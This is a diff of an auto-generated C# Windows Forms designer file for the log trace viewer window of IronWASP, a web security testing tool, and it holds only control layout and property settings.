System.Drawing.Size(876, 202); - this.tabPage1.TabIndex = 2; - this.tabPage1.Text = " Diff of Baseline Request/Response vs Selected Request/Response "; - this.tabPage1.UseVisualStyleBackColor = true; - // - // tabControl5 - // - this.tabControl5.Controls.Add(this.tabPage19); - this.tabControl5.Controls.Add(this.tabPage22); - this.tabControl5.Dock = System.Windows.Forms.DockStyle.Fill; - this.tabControl5.Location = new System.Drawing.Point(0, 0); - this.tabControl5.Margin = new System.Windows.Forms.Padding(0); - this.tabControl5.Name = "tabControl5"; - this.tabControl5.Padding = new System.Drawing.Point(0, 0); - this.tabControl5.SelectedIndex = 0; - this.tabControl5.Size = new System.Drawing.Size(876, 202); - this.tabControl5.TabIndex = 6; - // - // tabPage19 - // - this.tabPage19.Controls.Add(this.RequestDRV); - this.tabPage19.Location = new System.Drawing.Point(4, 22); - this.tabPage19.Margin = new System.Windows.Forms.Padding(0); - this.tabPage19.Name = "tabPage19"; - this.tabPage19.Size = new System.Drawing.Size(868, 176); - this.tabPage19.TabIndex = 0; - this.tabPage19.Text = " Request Diff "; - this.tabPage19.UseVisualStyleBackColor = true; - // - // RequestDRV - // - this.RequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; - this.RequestDRV.Location = new System.Drawing.Point(0, 0); - this.RequestDRV.Margin = new System.Windows.Forms.Padding(0); - this.RequestDRV.Name = "RequestDRV"; - this.RequestDRV.Size = new System.Drawing.Size(868, 176); - this.RequestDRV.TabIndex = 0; - // - // tabPage22 - // - this.tabPage22.Controls.Add(this.ResponseDRV); - this.tabPage22.Location = new System.Drawing.Point(4, 22); - this.tabPage22.Margin = new System.Windows.Forms.Padding(0); - this.tabPage22.Name = "tabPage22"; - this.tabPage22.Size = new System.Drawing.Size(184, 48); - this.tabPage22.TabIndex = 1; - this.tabPage22.Text = " Response Diff "; - this.tabPage22.UseVisualStyleBackColor = true; - // - // ResponseDRV - // - this.ResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResponseDRV.Location = new System.Drawing.Point(0, 0); - this.ResponseDRV.Margin = new System.Windows.Forms.Padding(0); - this.ResponseDRV.Name = "ResponseDRV"; - this.ResponseDRV.Size = new System.Drawing.Size(184, 48); - this.ResponseDRV.TabIndex = 1; - // - // tabPage2 - // - this.tabPage2.Controls.Add(this.ScriptedTestRequestBtn); - this.tabPage2.Controls.Add(this.ManualTestRequestBtn); - this.tabPage2.Location = new System.Drawing.Point(4, 22); - this.tabPage2.Name = "tabPage2"; - this.tabPage2.Size = new System.Drawing.Size(876, 202); - this.tabPage2.TabIndex = 3; - this.tabPage2.Text = " Testing Options "; - this.tabPage2.UseVisualStyleBackColor = true; - // - // ScriptedTestRequestBtn - // - this.ScriptedTestRequestBtn.BackColor = System.Drawing.Color.White; - this.ScriptedTestRequestBtn.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScriptedTestRequestBtn.DetectUrls = false; - this.ScriptedTestRequestBtn.Location = new System.Drawing.Point(19, 58); - this.ScriptedTestRequestBtn.Name = "ScriptedTestRequestBtn"; - this.ScriptedTestRequestBtn.ReadOnly = true; - this.ScriptedTestRequestBtn.Size = new System.Drawing.Size(577, 132); - this.ScriptedTestRequestBtn.TabIndex = 2; - this.ScriptedTestRequestBtn.Text = ""; - // - // ManualTestRequestBtn - // - this.ManualTestRequestBtn.Enabled = false; - this.ManualTestRequestBtn.Location = new System.Drawing.Point(17, 23); - this.ManualTestRequestBtn.Name = "ManualTestRequestBtn"; - this.ManualTestRequestBtn.Size = new System.Drawing.Size(276, 23); - this.ManualTestRequestBtn.TabIndex = 0; - this.ManualTestRequestBtn.Text = "Send the selected Request to Manual Testing section"; - this.ManualTestRequestBtn.UseVisualStyleBackColor = true; - this.ManualTestRequestBtn.Click += new System.EventHandler(this.ManualTestRequestBtn_Click); - // - // MainLoadProgressBar - // - this.MainLoadProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.MainLoadProgressBar.Location = new System.Drawing.Point(235, 21); - this.MainLoadProgressBar.MarqueeAnimationSpeed = 10; - this.MainLoadProgressBar.Name = "MainLoadProgressBar"; - this.MainLoadProgressBar.Size = new System.Drawing.Size(431, 23); - this.MainLoadProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.MainLoadProgressBar.TabIndex = 34; - this.MainLoadProgressBar.Visible = false; - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(341, 34); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(313, 13); - this.label3.TabIndex = 50; - this.label3.Text = "Click on Checkbox to select log. Click anywhere else to view log."; - // - // LogTraceViewer - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(884, 561); - this.Controls.Add(this.MainLoadProgressBar); - this.Controls.Add(this.BaseSplit); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "LogTraceViewer"; - this.Text = "Click on a Trace Row to view Request/Response"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.LogTraceViewer_FormClosing); - this.Load += new System.EventHandler(this.LogTraceViewer_Load); - this.BaseSplit.Panel1.ResumeLayout(false); - this.BaseSplit.Panel2.ResumeLayout(false); - this.BaseSplit.ResumeLayout(false); - this.ScanTraceTabs.ResumeLayout(false); - this.ScanTraceOverviewTab.ResumeLayout(false); - this.ScanTraceOverviewTab.PerformLayout(); - this.groupBox1.ResumeLayout(false); - this.groupBox1.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanTraceOverviewGrid)).EndInit(); - this.ScanTraceDetailedInfoTab.ResumeLayout(false); - this.ScanTracePayloadEffectTab.ResumeLayout(false); - this.PayloadEffectTabs.ResumeLayout(false); - this.SummaryTab.ResumeLayout(false); - this.CodeTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.CodeGrid)).EndInit(); - this.KeywordsTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.KeywordsGrid)).EndInit(); - this.BodyTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.BodyGrid)).EndInit(); - this.SetCookieTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.SetCookieGrid)).EndInit(); - this.HeadersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.HeadersGrid)).EndInit(); - this.TimeTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.RoundtripGrid)).EndInit(); - this.ScanTraceHelpTab.ResumeLayout(false); - this.ScanTraceHelpTab.PerformLayout(); - this.LogDisplayTabs.ResumeLayout(false); - this.tabPage12.ResumeLayout(false); - this.tabPage29.ResumeLayout(false); - this.tabPage1.ResumeLayout(false); - this.tabControl5.ResumeLayout(false); - this.tabPage19.ResumeLayout(false); - this.tabPage22.ResumeLayout(false); - this.tabPage2.ResumeLayout(false); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.SplitContainer BaseSplit; - private System.Windows.Forms.ProgressBar LoadLogProgressBar; - internal System.Windows.Forms.TabControl LogDisplayTabs; - private System.Windows.Forms.TabPage tabPage12; - internal RequestView RequestView; - private System.Windows.Forms.TabPage tabPage29; - internal ResponseView ResponseView; - private System.Windows.Forms.TabControl ScanTraceTabs; - private System.Windows.Forms.TabPage ScanTraceOverviewTab; - internal System.Windows.Forms.DataGridView ScanTraceOverviewGrid; - private System.Windows.Forms.TabPage ScanTraceDetailedInfoTab; - internal System.Windows.Forms.RichTextBox ScanTraceMsgRTB; - private System.Windows.Forms.Button DoDiffBtn; - private System.Windows.Forms.TabPage ScanTracePayloadEffectTab; - internal System.Windows.Forms.TabControl PayloadEffectTabs; - private System.Windows.Forms.TabPage SummaryTab; - internal System.Windows.Forms.RichTextBox SummaryRTB; - private System.Windows.Forms.TabPage CodeTab; - internal System.Windows.Forms.DataGridView CodeGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn Column2; - private System.Windows.Forms.DataGridViewTextBoxColumn Column1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; - private System.Windows.Forms.TabPage KeywordsTab; - internal System.Windows.Forms.DataGridView KeywordsGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn13; - private System.Windows.Forms.TabPage BodyTab; - internal System.Windows.Forms.DataGridView BodyGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn5; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn6; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn14; - private System.Windows.Forms.TabPage SetCookieTab; - internal System.Windows.Forms.DataGridView SetCookieGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn8; - private System.Windows.Forms.DataGridViewTextBoxColumn Column3; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn15; - private System.Windows.Forms.TabPage HeadersTab; - internal System.Windows.Forms.DataGridView HeadersGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn9; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn10; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn16; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; - private System.Windows.Forms.TabPage TimeTab; - internal System.Windows.Forms.DataGridView RoundtripGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn11; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn12; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn23; - private System.Windows.Forms.ProgressBar AnalysisProgressBar; - private System.Windows.Forms.RadioButton DisplayFilterAllRB; - private System.Windows.Forms.RadioButton DisplayFilterLogsOnlyRB; - private System.Windows.Forms.GroupBox groupBox1; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TabPage ScanTraceHelpTab; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn Column4; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn17; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn18; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn19; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn20; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn21; - private System.Windows.Forms.DataGridViewTextBoxColumn Column5; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn22; - private System.Windows.Forms.DataGridViewTextBoxColumn Column6; - private System.Windows.Forms.TabPage tabPage1; - internal System.Windows.Forms.TabControl tabControl5; - private System.Windows.Forms.TabPage tabPage19; - private DiffResultView RequestDRV; - private System.Windows.Forms.TabPage tabPage22; - private DiffResultView ResponseDRV; - private System.Windows.Forms.ProgressBar MainLoadProgressBar; - private System.Windows.Forms.TabPage tabPage2; - private System.Windows.Forms.Button ManualTestRequestBtn; - internal System.Windows.Forms.RichTextBox ScriptedTestRequestBtn; - private System.Windows.Forms.Label label3; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class LogTraceViewer + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle10 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle11 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle12 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle13 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle14 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle15 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle16 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle17 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle18 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle19 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle20 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LogTraceViewer)); + this.BaseSplit = new System.Windows.Forms.SplitContainer(); + this.ScanTraceTabs = new System.Windows.Forms.TabControl(); + this.ScanTraceOverviewTab = new System.Windows.Forms.TabPage(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.DisplayFilterLogsOnlyRB = new System.Windows.Forms.RadioButton(); + this.DisplayFilterAllRB = new System.Windows.Forms.RadioButton(); + this.DoDiffBtn = new System.Windows.Forms.Button(); + this.ScanTraceOverviewGrid = new System.Windows.Forms.DataGridView(); + this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn17 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn18 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn19 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn20 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn21 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn22 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanTraceDetailedInfoTab = new System.Windows.Forms.TabPage(); + this.ScanTraceMsgRTB = new System.Windows.Forms.RichTextBox(); + this.ScanTracePayloadEffectTab = new System.Windows.Forms.TabPage(); + this.AnalysisProgressBar = new System.Windows.Forms.ProgressBar(); + this.PayloadEffectTabs = new System.Windows.Forms.TabControl(); + this.SummaryTab = new System.Windows.Forms.TabPage(); + this.SummaryRTB = new System.Windows.Forms.RichTextBox(); + this.CodeTab = new System.Windows.Forms.TabPage(); + this.CodeGrid = new System.Windows.Forms.DataGridView(); + this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.KeywordsTab = new System.Windows.Forms.TabPage(); + this.KeywordsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.BodyTab = new System.Windows.Forms.TabPage(); + this.BodyGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SetCookieTab = new System.Windows.Forms.TabPage(); + this.SetCookieGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn15 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HeadersTab = new System.Windows.Forms.TabPage(); + this.HeadersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn10 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn16 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TimeTab = new System.Windows.Forms.TabPage(); + this.RoundtripGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn11 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn12 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn23 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanTraceHelpTab = new System.Windows.Forms.TabPage(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.LoadLogProgressBar = new System.Windows.Forms.ProgressBar(); + this.LogDisplayTabs = new System.Windows.Forms.TabControl(); + this.tabPage12 = new System.Windows.Forms.TabPage(); + this.tabPage29 = new System.Windows.Forms.TabPage(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.tabControl5 = new System.Windows.Forms.TabControl(); + this.tabPage19 = new System.Windows.Forms.TabPage(); + this.tabPage22 = new System.Windows.Forms.TabPage(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.ScriptedTestRequestBtn = new System.Windows.Forms.RichTextBox(); + this.ManualTestRequestBtn = new System.Windows.Forms.Button(); + this.MainLoadProgressBar = new System.Windows.Forms.ProgressBar(); + this.RequestView = new IronWASP.RequestView(); + this.ResponseView = new IronWASP.ResponseView(); + this.RequestDRV = new IronWASP.DiffResultView(); + this.ResponseDRV = new IronWASP.DiffResultView(); + this.BaseSplit.Panel1.SuspendLayout(); + this.BaseSplit.Panel2.SuspendLayout(); + this.BaseSplit.SuspendLayout(); + this.ScanTraceTabs.SuspendLayout(); + this.ScanTraceOverviewTab.SuspendLayout(); + this.groupBox1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanTraceOverviewGrid)).BeginInit(); + this.ScanTraceDetailedInfoTab.SuspendLayout(); + this.ScanTracePayloadEffectTab.SuspendLayout(); + this.PayloadEffectTabs.SuspendLayout(); + this.SummaryTab.SuspendLayout(); + this.CodeTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CodeGrid)).BeginInit(); + this.KeywordsTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.KeywordsGrid)).BeginInit(); + this.BodyTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.BodyGrid)).BeginInit(); + this.SetCookieTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.SetCookieGrid)).BeginInit(); + this.HeadersTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.HeadersGrid)).BeginInit(); + this.TimeTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.RoundtripGrid)).BeginInit(); + this.ScanTraceHelpTab.SuspendLayout(); + this.LogDisplayTabs.SuspendLayout(); + this.tabPage12.SuspendLayout(); + this.tabPage29.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tabControl5.SuspendLayout(); + this.tabPage19.SuspendLayout(); + this.tabPage22.SuspendLayout(); + this.tabPage2.SuspendLayout(); + this.SuspendLayout(); + // + // BaseSplit + // + this.BaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseSplit.Location = new System.Drawing.Point(0, 0); + this.BaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.BaseSplit.Name = "BaseSplit"; + this.BaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // BaseSplit.Panel1 + // + this.BaseSplit.Panel1.Controls.Add(this.ScanTraceTabs); + // + // BaseSplit.Panel2 + // + this.BaseSplit.Panel2.Controls.Add(this.LoadLogProgressBar); + this.BaseSplit.Panel2.Controls.Add(this.LogDisplayTabs); + this.BaseSplit.Size = new System.Drawing.Size(884, 561); + this.BaseSplit.SplitterDistance = 329; + this.BaseSplit.TabIndex = 11; + this.BaseSplit.Visible = false; + // + // ScanTraceTabs + // + this.ScanTraceTabs.Controls.Add(this.ScanTraceOverviewTab); + this.ScanTraceTabs.Controls.Add(this.ScanTraceDetailedInfoTab); + this.ScanTraceTabs.Controls.Add(this.ScanTracePayloadEffectTab); + this.ScanTraceTabs.Controls.Add(this.ScanTraceHelpTab); + this.ScanTraceTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanTraceTabs.Location = new System.Drawing.Point(0, 0); + this.ScanTraceTabs.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceTabs.Name = "ScanTraceTabs"; + this.ScanTraceTabs.Padding = new System.Drawing.Point(0, 0); + this.ScanTraceTabs.SelectedIndex = 0; + this.ScanTraceTabs.Size = new System.Drawing.Size(884, 329); + this.ScanTraceTabs.TabIndex = 2; + // + // ScanTraceOverviewTab + // + this.ScanTraceOverviewTab.Controls.Add(this.label3); + this.ScanTraceOverviewTab.Controls.Add(this.label2); + this.ScanTraceOverviewTab.Controls.Add(this.label1); + this.ScanTraceOverviewTab.Controls.Add(this.groupBox1); + this.ScanTraceOverviewTab.Controls.Add(this.DoDiffBtn); + this.ScanTraceOverviewTab.Controls.Add(this.ScanTraceOverviewGrid); + this.ScanTraceOverviewTab.Location = new System.Drawing.Point(4, 22); + this.ScanTraceOverviewTab.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceOverviewTab.Name = "ScanTraceOverviewTab"; + this.ScanTraceOverviewTab.Size = new System.Drawing.Size(876, 303); + this.ScanTraceOverviewTab.TabIndex = 0; + this.ScanTraceOverviewTab.Text = " Payloads, Scan Trace Messages and Logs "; + this.ScanTraceOverviewTab.UseVisualStyleBackColor = true; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(341, 34); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(313, 13); + this.label3.TabIndex = 50; + this.label3.Text = "Click on Checkbox to select log. Click anywhere else to view log."; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(688, 19); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(159, 13); + this.label2.TabIndex = 49; + this.label2.Text = "and then press the button below"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(686, 6); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(174, 13); + this.label1.TabIndex = 48; + this.label1.Text = "To diff two logs, first select two logs"; + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.DisplayFilterLogsOnlyRB); + this.groupBox1.Controls.Add(this.DisplayFilterAllRB); + this.groupBox1.Location = new System.Drawing.Point(8, 10); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(327, 46); + this.groupBox1.TabIndex = 46; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "Display Filter:"; + // + // DisplayFilterLogsOnlyRB + // + this.DisplayFilterLogsOnlyRB.AutoSize = true; + this.DisplayFilterLogsOnlyRB.Location = new System.Drawing.Point(214, 19); + this.DisplayFilterLogsOnlyRB.Name = "DisplayFilterLogsOnlyRB"; + this.DisplayFilterLogsOnlyRB.Size = new System.Drawing.Size(102, 17); + this.DisplayFilterLogsOnlyRB.TabIndex = 44; + this.DisplayFilterLogsOnlyRB.Text = "Show Logs Only"; + this.DisplayFilterLogsOnlyRB.UseVisualStyleBackColor = true; + this.DisplayFilterLogsOnlyRB.CheckedChanged += new System.EventHandler(this.DisplayFilterLogsOnlyRB_CheckedChanged); + // + // DisplayFilterAllRB + // + this.DisplayFilterAllRB.AutoSize = true; + this.DisplayFilterAllRB.Checked = true; + this.DisplayFilterAllRB.Location = new System.Drawing.Point(27, 19); + this.DisplayFilterAllRB.Name = "DisplayFilterAllRB"; + this.DisplayFilterAllRB.Size = new System.Drawing.Size(185, 17); + this.DisplayFilterAllRB.TabIndex = 45; + this.DisplayFilterAllRB.TabStop = true; + this.DisplayFilterAllRB.Text = "Show Logs and Trace Information"; + this.DisplayFilterAllRB.UseVisualStyleBackColor = true; + // + // DoDiffBtn + // + this.DoDiffBtn.Enabled = false; + this.DoDiffBtn.Location = new System.Drawing.Point(668, 34); + this.DoDiffBtn.Name = "DoDiffBtn"; + this.DoDiffBtn.Size = new System.Drawing.Size(202, 26); + this.DoDiffBtn.TabIndex = 42; + this.DoDiffBtn.Text = "Diff Selected Sessions"; + this.DoDiffBtn.UseVisualStyleBackColor = true; + this.DoDiffBtn.Click += new System.EventHandler(this.DoDiffBtn_Click); + // + // ScanTraceOverviewGrid + // + this.ScanTraceOverviewGrid.AllowUserToAddRows = false; + this.ScanTraceOverviewGrid.AllowUserToDeleteRows = false; + this.ScanTraceOverviewGrid.AllowUserToOrderColumns = true; + this.ScanTraceOverviewGrid.AllowUserToResizeRows = false; + this.ScanTraceOverviewGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanTraceOverviewGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ScanTraceOverviewGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanTraceOverviewGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ScanTraceOverviewGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.ScanTraceOverviewGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ScanTraceOverviewGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.SelectClmn, + this.Column4, + this.dataGridViewTextBoxColumn17, + this.dataGridViewTextBoxColumn18, + this.dataGridViewTextBoxColumn19, + this.dataGridViewTextBoxColumn20, + this.dataGridViewTextBoxColumn21, + this.Column5, + this.dataGridViewTextBoxColumn22, + this.Column6}); + this.ScanTraceOverviewGrid.EditMode = 